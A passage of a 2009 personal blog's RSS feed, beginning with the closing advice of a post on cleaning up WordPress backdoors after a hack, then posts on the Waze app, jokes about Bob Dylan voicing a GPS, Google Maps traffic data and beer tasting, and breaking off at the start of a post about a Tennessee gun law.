<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you&#8217;re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I&#8217;ve never seen a hacked WordPress installation that was missing it. Sometimes there&#8217;s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing&#8230; before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn&#8217;t actually hacked already, before you put the latest code on there. If you don&#8217;t fully clean up after a hack, then you *stay* hacked. It&#8217;s not a new hack, it&#8217;s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don&#8217;t know that for sure is really not all that helpful. You&#8217;re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they&#8217;re found. But they can&#8217;t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/QB1UiuaSxfYiy01jPInFNwvRntw/0/da"><img src="http://feedads.g.doubleclick.net/~a/QB1UiuaSxfYiy01jPInFNwvRntw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/QB1UiuaSxfYiy01jPInFNwvRntw/1/da"><img src="http://feedads.g.doubleclick.net/~a/QB1UiuaSxfYiy01jPInFNwvRntw/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=VcDNPgAM1PE:d7Ln1RqF0e8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=VcDNPgAM1PE:d7Ln1RqF0e8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=VcDNPgAM1PE:d7Ln1RqF0e8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=VcDNPgAM1PE:d7Ln1RqF0e8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=VcDNPgAM1PE:d7Ln1RqF0e8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=VcDNPgAM1PE:d7Ln1RqF0e8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=VcDNPgAM1PE:d7Ln1RqF0e8:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/VcDNPgAM1PE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</feedburner:origLink></item>
		<item>
		<title>Waze – Free iPhone Directions Application</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/haNWvkZ5Xe8/</link>
		<comments>http://ottodestruct.com/blog/2009/waze-review/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 18:03:31 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Placery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[3gs]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[automobile]]></category>
		<category><![CDATA[directions]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[pacman]]></category>
		<category><![CDATA[turn-by-turn]]></category>
		<category><![CDATA[waze]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=547</guid>
		<description>Playing around this weekend, I discovered a neat and fun little app for the iPhone.
A lot of new apps have came out for the iPhone lately that are based around driving directions. TomTom came out with theirs for $100, and Navigon is another popular one that runs $90. But, if you want to try out [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/waze-review/" type="box_count"></fb:share-button><p>Playing around this weekend, I discovered a neat and fun little app for the iPhone.</p>
<p>A lot of new apps have came out for the iPhone lately that are based around driving directions. TomTom came out with theirs for $100, and Navigon is another popular one that runs $90. But, if you want to try out something a little different, this one is free.</p>
<p><a href="http://www.waze.com"><img class="alignright" src="http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831.jpg" alt="iPhone image" width="269" height="478" /></a></p>
<p><a href="http://www.waze.com">Waze</a> is a free driving directions app, with a twist. Basically, the maps on it are &#8220;incomplete&#8221;. That is, they&#8217;ve got the map data, but like all maps, the data is inaccurate. So, to get the data to be better, they&#8217;re enlisting your help.</p>
<p>How do you help? Simple. You use the app in the car, then drive around. As you do so, the GPS will be reading your location and noting that there is indeed a street there. It makes it kinda fun to confirm streets in this way since a little Pac-Man like figure appears, eating dots on the map where you are driving, and giving you &#8220;points&#8221;. The points aren&#8217;t useful for much, except a ranking system with everybody else using the app, but it&#8217;s fun nevertheless.</p>
<p>So what else? Well, obviously it&#8217;ll do driving directions. However, when I tried it to get to my friend&#8217;s place at Cooper-Young fest this last weekend, it was laughably wrong. It suggested an 8 mile trek through ridiculous parts of town for no reason. I drove there the normal route instead, letting it complain that I was &#8220;off route&#8221; all the way and listening to the Waze-pacman gathering up the points as he munched his way down the road. However, something odd happened then. On the way back, when I turned it on, it knew that route. Investigating today, I&#8217;ve found that it really doesn&#8217;t like to route people on routes that haven&#8217;t been &#8220;confirmed&#8221; yet very much. So, since I&#8217;d confirmed that route already, it picked it for my way home.</p>
<p>But there&#8217;s a bonus to all that. By confirming the route, it&#8217;s getting more than street maps. It&#8217;s also getting average speeds. So it can use that information to give optimal routes, knowing how fast each street tends to be.</p>
<p><a href="http://www.waze.com"><img class="alignleft" src="http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831-2.jpg" alt="iPhone Event Reporting" width="269" height="478" /></a></p>
<p>You can even more than that though. Along the way, you can report events too.</p>
<p>An event is like an auto accident, or a speed trap. Whenever you see one of these, you can touch the report button and report one quickly. If you&#8217;re totally stopped in traffic, then you can also type in a short message (it won&#8217;t let you do that while moving), and the message will instantly be sent, where other drivers (and their iPhone&#8217;s) can see it. Those drivers will then get routed a different way, possibly saving them some time.</p>
<p>Or, even better, somebody else reports a problem, and you get to save some time.</p>
<p>Downsides to the app: Battery life. Like any other GPS app, it sucks the battery right down. You&#8217;ll need a car charger to run the thing. Probably a quality iPhone mount too. It does do landscape mode as well, and hidden down in the options is a &#8220;3D mode&#8221;, which makes the map lay back and look like the more expensive iPhone driving apps, if you prefer that sort of thing. The 2D map is easier to read, to me.</p>
<p>From what I&#8217;m reading, <a href="http://www.waze.com">Waze</a> has only been around a month or so, and not many people are using it. As far as I can tell, almost nobody in Memphis is using it, since almost all the roads are unconfirmed. But it would be pretty neat if everybody driving around was sharing data like this, what with Memphis traffic being what it is. I sure wouldn&#8217;t mind getting routed around half the crap I see on the streets around here.</p>
<p>If you&#8217;ve wanted to try out a driving directions app without spending $100 or so, then you cannot beat free. So I highly recommend it. I&#8217;m using it all the time now.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/OTsZipDD7hCcsVJoF0X1TKH73k0/0/da"><img src="http://feedads.g.doubleclick.net/~a/OTsZipDD7hCcsVJoF0X1TKH73k0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/OTsZipDD7hCcsVJoF0X1TKH73k0/1/da"><img src="http://feedads.g.doubleclick.net/~a/OTsZipDD7hCcsVJoF0X1TKH73k0/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=haNWvkZ5Xe8:d92-4ZuJtYI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=haNWvkZ5Xe8:d92-4ZuJtYI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=haNWvkZ5Xe8:d92-4ZuJtYI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=haNWvkZ5Xe8:d92-4ZuJtYI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=haNWvkZ5Xe8:d92-4ZuJtYI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=haNWvkZ5Xe8:d92-4ZuJtYI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=haNWvkZ5Xe8:d92-4ZuJtYI:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/haNWvkZ5Xe8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/waze-review/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831.jpg" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831.jpg" medium="image">
			<media:title type="html">iPhone image</media:title>
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831-2.jpg" medium="image">
			<media:title type="html">iPhone Event Reporting</media:title>
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/waze-review/</feedburner:origLink></item>
		<item>
		<title>Bob Dylan to be new voice of GPS system</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/SZfhWhu7Mu0/</link>
		<comments>http://ottodestruct.com/blog/2009/bob-dylan-to-be-new-voice-of-gps-system/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 17:52:41 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[automobile]]></category>
		<category><![CDATA[bob dylan]]></category>
		<category><![CDATA[digg]]></category>
		<category><![CDATA[gps]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=543</guid>
		<description>According to the Telegraph, Bob Dylan has been approached by multiple GPS manufacturers to be the voice of their GPS system.
While this is ludicrous on the face of it (having listened to Bob for many years, let&amp;#8217;s face it, clarity ain&amp;#8217;t his strong suit), I find that the best part of the whole story is [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/bob-dylan-to-be-new-voice-of-gps-system/" type="box_count"></fb:share-button><p>According to <a title="telegraph" href="http://www.telegraph.co.uk/culture/music/bob-dylan/6082578/Bob-Dylan-to-become-the-voice-of-your-satnav.html">the Telegraph</a>, Bob Dylan has been approached by multiple GPS manufacturers to be the voice of their GPS system.</p>
<p>While this is ludicrous on the face of it (having listened to Bob for many years, let&#8217;s face it, clarity ain&#8217;t his strong suit), I find that the best part of the whole story is what people have to say about it. Some of the <a href="http://digg.com/autos/Bob_Dylan_To_Voice_GPS_System">comments on Digg</a> about this development are truly the greatest remarks I&#8217;ve ever seen.</p>
<p>There&#8217;s the predictable ones about his clarity, or lack thereof:</p>
<blockquote><p>&#8220;tuhhhhh lef at the lighhhhh&#8221;</p>
<p>What?</p></blockquote>
<p>The natural comparisons to other celebrities doing GPS directions (such as Arnold Schwarzenegger in this case)</p>
<blockquote><p>&#8220;Dis Twaffic sucks. GET TO DAH CHOPPA!&#8221;</p></blockquote>
<p>Or Alan Rickman, which had this as my own contribution:</p>
<blockquote><p>Hello.</p>
<p>This is</p>
<p>Alan Rickman.</p>
<p>You need to take</p>
<p>a left</p>
<p>in</p>
<p>two hundred</p>
<p>yards.</p>
<p>Do not disappoint me.</p></blockquote>
<p>And this one:</p>
<blockquote><p>BILLY MAYS HERE. TURN RIGHT AHEAD POINT 1 MILES.</p></blockquote>
<p>Or an R. Lee Ermey one:</p>
<blockquote><p>&#8220;I SAID RIGHT YOU WORTHLESS WASTE OF SHIT, I HAVEN&#8217;T SEEN DRIVING THIS BAD SINCE I LET MY WIFE DRIVE&#8221;</p>
<p>&#8220;IF GOD WANTED YOU ON THE TURNPIKE HE WOULD HAVE MIRACLED YOUR ASS ON THERE BY NOW.&#8221;</p></blockquote>
<p>Of course, reworked song lyrics:</p>
<blockquote><p>Come gather round people wherever you are,<br />
And thank you kindly for using on-star,<br />
And I will help you to maneuver your car,<br />
For the trip you are arranging!<br />
So don&#8217;t miss that turn,<br />
And don&#8217;t go too far!<br />
Oooh, your destination is a-changing!</p></blockquote>
<p>Even a pretty decent meta reference comment:</p>
<blockquote><p>Well, in these modern times, I&#8217;m not sure this would be street legal. I mean, when you&#8217;re going down highway 61, I&#8217;d imagine you&#8217;d be fine. You and John Wesley Harding can gaze at the Nashville skyline all you want while using the GPS. But when you&#8217;re on those back roads, the system might miss some railroad tracks, leaving you stranded with a slow train coming. If you don&#8217;t know to move, oh mercy, there&#8217;s going to be blood on the tracks. I can see why one would desire such a GPS, though, as they&#8217;ve saved many people from having to drive in circles until the new morning before finding their destination. Well, I guess the times, they are a-changin&#8217;, and when you&#8217;re out on the road, under a blood red sky and trying to bring it all back home, a GPS will definitely keep you from freewheelin&#8217; for too long.</p></blockquote>
<p>Digg comments are often a wasteland of human misery and suffering (not as bad as YouTube comments, but close), however this one is pretty good and worth checking out.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/z30jJxGVNP14X5W-kATiL19p1ck/0/da"><img src="http://feedads.g.doubleclick.net/~a/z30jJxGVNP14X5W-kATiL19p1ck/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/z30jJxGVNP14X5W-kATiL19p1ck/1/da"><img src="http://feedads.g.doubleclick.net/~a/z30jJxGVNP14X5W-kATiL19p1ck/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=SZfhWhu7Mu0:WXUCdsp-lWU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=SZfhWhu7Mu0:WXUCdsp-lWU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=SZfhWhu7Mu0:WXUCdsp-lWU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=SZfhWhu7Mu0:WXUCdsp-lWU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=SZfhWhu7Mu0:WXUCdsp-lWU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=SZfhWhu7Mu0:WXUCdsp-lWU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=SZfhWhu7Mu0:WXUCdsp-lWU:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/SZfhWhu7Mu0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/bob-dylan-to-be-new-voice-of-gps-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/bob-dylan-to-be-new-voice-of-gps-system/</feedburner:origLink></item>
		<item>
		<title>Google Maps traffic… it needs work.</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/YmE0R0Nnrx8/</link>
		<comments>http://ottodestruct.com/blog/2009/google-maps-traffic/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 16:56:50 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[maps]]></category>
		<category><![CDATA[mobile navigator]]></category>
		<category><![CDATA[navigation]]></category>
		<category><![CDATA[navigon]]></category>
		<category><![CDATA[traffic]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=534</guid>
		<description>I always wondered how Google Maps knew traffic conditions. Today, there&amp;#8217;s a blog post where they explain it a bit better.
Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they&amp;#8217;re moving. Both of which GPS gives you more or [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/google-maps-traffic/" type="box_count"></fb:share-button><p>I always wondered how Google Maps knew traffic conditions. Today, there&#8217;s a <a href="http://googleblog.blogspot.com/2009/08/bright-side-of-sitting-in-traffic.html">blog post</a> where they explain it a bit better.</p>
<div id="attachment_535" class="wp-caption alignright" style="width: 330px"><a href="http://googleblog.blogspot.com/2009/08/bright-side-of-sitting-in-traffic.html"><img class="size-full wp-image-535" title="Google Maps on the phone" src="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15.png" alt="That ain't on an iPhone..." width="320" height="480" /></a><p class="wp-caption-text">That ain&#39;t on an iPhone...</p></div>
<p>Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they&#8217;re moving. Both of which GPS gives you more or less by default.</p>
<p>It&#8217;s a clever idea, and I like it, but it fails in a couple of major ways, IMO.</p>
<p>Firstly, when I use Google Maps on my phone, I tend to not leave it open. Google Maps is fine, but it&#8217;s not a very good navigation system. It&#8217;s just a map. A real navigation app is worlds better. I recently got Navigon Mobile Navigator on the new iPhone, and it&#8217;s pretty slick. Thinking about a dashboard mount for it now, actually.</p>
<p>Secondly, this system relies on a lot of people having Google Maps open and running and sending back data. If nobody with Google Maps running has been on your street recently, you get no information.</p>
<p>What Google really needs to do is to open it up as an API. Let other navigation system manufacturers both send and receive traffic data from the Google Maps system. It doesn&#8217;t have to be complex.</p>
<p>Any good navigation app knows your location and speed, so a simple way to send that info could be made easily enough. The problem, of course, is allowing third parties to use the data.</p>
<p>Google Maps works in layers of images, which is one of its major shortcomings, IMO. The street views are images. The terrain are images. Just big sets of tiles that get displayed next to each other. And I&#8217;m almost certain that this traffic thing is just another set of images they&#8217;re generating or updating. For navigation providers that use 3d views and such, they don&#8217;t need that stuff in the form of images, they need it in the form of data. What streets are busy? How can that information be used to improve the navigation? Etc.</p>
<p>Google is generally pretty good at opening up their APIs to third parties. However, they&#8217;re generally not good at providing data in different forms. Most of their APIs are &#8220;this is what we use, if you need something else we don&#8217;t have it&#8221; sort of thing. Hopefully, the Google Maps team will see the light here and realize that to get good data, you have to give good data, and start pushing in that direction. Because open traffic data would be pretty cool for everybody.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/OSPT0Ym7adKsdwrL9RrkN2HA1Fc/0/da"><img src="http://feedads.g.doubleclick.net/~a/OSPT0Ym7adKsdwrL9RrkN2HA1Fc/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/OSPT0Ym7adKsdwrL9RrkN2HA1Fc/1/da"><img src="http://feedads.g.doubleclick.net/~a/OSPT0Ym7adKsdwrL9RrkN2HA1Fc/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=YmE0R0Nnrx8:S7dC48Chhro:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=YmE0R0Nnrx8:S7dC48Chhro:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=YmE0R0Nnrx8:S7dC48Chhro:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=YmE0R0Nnrx8:S7dC48Chhro:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=YmE0R0Nnrx8:S7dC48Chhro:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=YmE0R0Nnrx8:S7dC48Chhro:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=YmE0R0Nnrx8:S7dC48Chhro:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/YmE0R0Nnrx8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/google-maps-traffic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15-100x150.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15.png" medium="image">
			<media:title type="html">Google Maps on the phone</media:title>
			<media:description type="html">That ain't on an iPhone...</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15-100x150.png" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/google-maps-traffic/</feedburner:origLink></item>
		<item>
		<title>How to Taste and Describe a Beer</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/L12bxu8rgaw/</link>
		<comments>http://ottodestruct.com/blog/2009/how-to-taste-and-describe-a-beer/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 17:36:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[beer]]></category>
		<category><![CDATA[pbr]]></category>
		<category><![CDATA[see]]></category>
		<category><![CDATA[sip]]></category>
		<category><![CDATA[smell]]></category>
		<category><![CDATA[snob]]></category>
		<category><![CDATA[swirl]]></category>
		<category><![CDATA[tasting]]></category>
		<category><![CDATA[wine]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=503</guid>
		<description>It occurred to me that some of my friends don&amp;#8217;t really know how to taste and describe beer properly. Even my wine friends, descriptive as they are, are pretty poor at describing beer. The methods of tasting are not all that different, really.  There&amp;#8217;s more of a snobbery surrounding wine and some of people are [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/how-to-taste-and-describe-a-beer/" type="box_count"></fb:share-button><p>It occurred to me that some of my friends don&#8217;t really know how to taste and describe beer properly. Even my wine friends, descriptive as they are, are pretty poor at describing beer. The methods of tasting are not all that different, really.  There&#8217;s more of a snobbery surrounding wine and some of people are loathe to come down to the beer world, even though we beer snobs are far bigger jerks. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>But I figured that I&#8217;d try and educate some people on the proper way anyway. What the heck, eh?</p>
<p>There&#8217;s four steps to tasting a beer. To make it fun, let&#8217;s make them all start with the letter S. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>1. See.</p>
<p>When a beer is poured it produces a foamy head. This head usually dissipates quickly, leaving behind a bit on top called the &#8220;lace&#8221;. This same lace remains on the sides of the glass when drinking the beer. Hold up the beer and take note of the color as well. These are all descriptive aspects that help in understanding of the beer.</p>
<ul>
<li>Color describes the malts used, or the brewing process.</li>
<li> The amount of foam describes the carbonation.</li>
<li> How it dissipates describes the thickness or heavyness of the beer.</li>
<li> The amount of lace describes the freshness of the beer, the freshness of the hops used.</li>
</ul>
<p>2. Swirl.</p>
<p>Yes, damnit, swirl it a bit, like you would a wine. This agitation pulls out the scents and carbonations from the brew. It also tests the head retention, which gives you more info about the lacing.</p>
<p>3. Smell.</p>
<p>Smell the beer, obviously. Something like 80-90% of taste is actually smell. It&#8217;s the most important part of tasting. Breath deeply of the beer through your nose and then, yes, through your mouth as well. The combination of these two gives you the best experience of the brew. Describe the scents you have. Wheat beers, for example, are often fruity or citrusy, usually because the brewer adds these types of ingredients specifically. Hops have a distinct odor, of course, but different types of hops smell different. Cascade hops (the most common type) smells completely different from fuggle hops, for example, and they are used in completely different types of beers.</p>
<p>4. Sip.</p>
<p>Take a sip, swirl it around your mouth a bit. Don&#8217;t swallow right away, let it warm up a small amount. Important bits to remember here:</p>
<ul>
<li> Mouthfeel. You see this one a lot in beer circles. What does it feel like? What&#8217;s the texture of the beer?</li>
<li> Consistency. Does the beer change a lot as you taste it? From beginning to end of glass even.</li>
<li>Breathe out while the beer is in your mouth. This increases the flavor experience. Really. Google &#8220;retro-olfaction&#8221;.</li>
<li>What does it taste like? Salty? Bitter? Sweet? Acidic? Oily? Fruity? Beer can taste like just about anything, think of what it&#8217;s similar to. Describe what it would go with.</li>
</ul>
<p>Now, once you&#8217;ve done this, describe the beer. Here&#8217;s an example for PBR:</p>
<p>Clear golden color, with a 3/4 inch thick white head, which quickly reduced to a minimal thin lacing. Pleasant but subdued scent, mostly sweet lagered malts. Slight amount of grain flavors, with subdued grassy hop undertones. Minimal bitterness. Somewhat fizzy in apperance, but only lightly carbonated flavors. Crisp and dry mouthfeel, with a slight hint of oilyness when  warmer. Overall clean flavor, very light malts used. Good session beer, would be excellent with stronger beef or spiced chicken flavors.</p>
<p>Simple.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/G-v0m80409hnq5ObN-D2SsbP7T4/0/da"><img src="http://feedads.g.doubleclick.net/~a/G-v0m80409hnq5ObN-D2SsbP7T4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/G-v0m80409hnq5ObN-D2SsbP7T4/1/da"><img src="http://feedads.g.doubleclick.net/~a/G-v0m80409hnq5ObN-D2SsbP7T4/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=L12bxu8rgaw:fXBfS0ufByQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=L12bxu8rgaw:fXBfS0ufByQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=L12bxu8rgaw:fXBfS0ufByQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=L12bxu8rgaw:fXBfS0ufByQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=L12bxu8rgaw:fXBfS0ufByQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=L12bxu8rgaw:fXBfS0ufByQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=L12bxu8rgaw:fXBfS0ufByQ:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/L12bxu8rgaw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/how-to-taste-and-describe-a-beer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2009/how-to-taste-and-describe-a-beer/</feedburner:origLink></item>
		<item>
		<title>The media are a bunch of idiots.</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/LjRO2OD-I9s/</link>
		<comments>http://ottodestruct.com/blog/2009/the-media-are-a-bunch-of-idiots/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 19:16:06 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[bars]]></category>
		<category><![CDATA[colbert]]></category>
		<category><![CDATA[gun]]></category>
		<category><![CDATA[handgun]]></category>
		<category><![CDATA[law]]></category>
		<category><![CDATA[restaurants]]></category>
		<category><![CDATA[tennessee]]></category>
		<category><![CDATA[tn]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=498</guid>
		<description>I&amp;#8217;m getting really annoyed with all the hubbub over the latest Tennessee gun law. You know, the one similar to the one passed in Arizona recently? TN and AZ are getting singled out as places that allow guns in bars.
The problem is that it&amp;#8217;s not true.
That&amp;#8217;s right, it&amp;#8217;s just not true. Jon Stewart got it [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/the-media-are-a-bunch-of-idiots/" type="box_count"></fb:share-button><p>I&#8217;m getting really annoyed with all the hubbub over the latest Tennessee gun law. You know, the one similar to the one passed in Arizona recently? TN and AZ are getting singled out as places that allow guns in bars.</p>
<p><em>The problem is that it&#8217;s not true.</em></p>
<p>That&#8217;s right, it&#8217;s just not true. Jon Stewart got it wrong. Stephen Colbert <a href="http://www.colbertnation.com/the-colbert-report-videos/238642/july-15-2009/difference-makers---doug-jackson">got it wrong</a>. Every major media outlet  talking about &#8220;guns in bars&#8221; got it 100% wrong.</p>
<p>You can&#8217;t carry a firearm into a bar in Tennessee. Period. It&#8217;s simply a lie.</p>
<p>To understand why it&#8217;s a lie, let&#8217;s examine the facts. Here&#8217;s a <a href="http://www.michie.com/tennessee/lpext.dll/tncode/11660/1207c/123ce/12409?fn=document-frame.htm&amp;f=templates&amp;2.0#">section of the TN State Code</a>, before the law changed:.</p>
<blockquote><p>39-17-1305. Possession of firearm where alcoholic beverages are served.</p>
